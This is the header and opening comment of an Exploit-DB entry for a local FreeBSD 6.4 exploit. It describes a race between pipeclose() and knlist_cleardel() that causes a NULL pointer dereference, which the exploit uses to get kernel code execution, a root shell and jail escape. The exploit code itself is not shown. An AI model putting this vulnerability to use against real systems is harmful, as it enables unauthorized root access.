Exploit-DB #9859
Description: FreeBSD 6.4 - 'pipeclose()'/'knlist_cleardel()' Race Condition
Type: local
Platform: freebsd
Date: 2009-10-08
Author: Przemyslaw Frasunek

Exploit:
#if 0
FreeBSD 6.4 and below are vulnerable to race condition between pipeclose() and
knlist_cleardel() resulting in NULL pointer dereference. The following code
exploits vulnerability to run code in kernel mode, giving root shell and
escaping from jail.
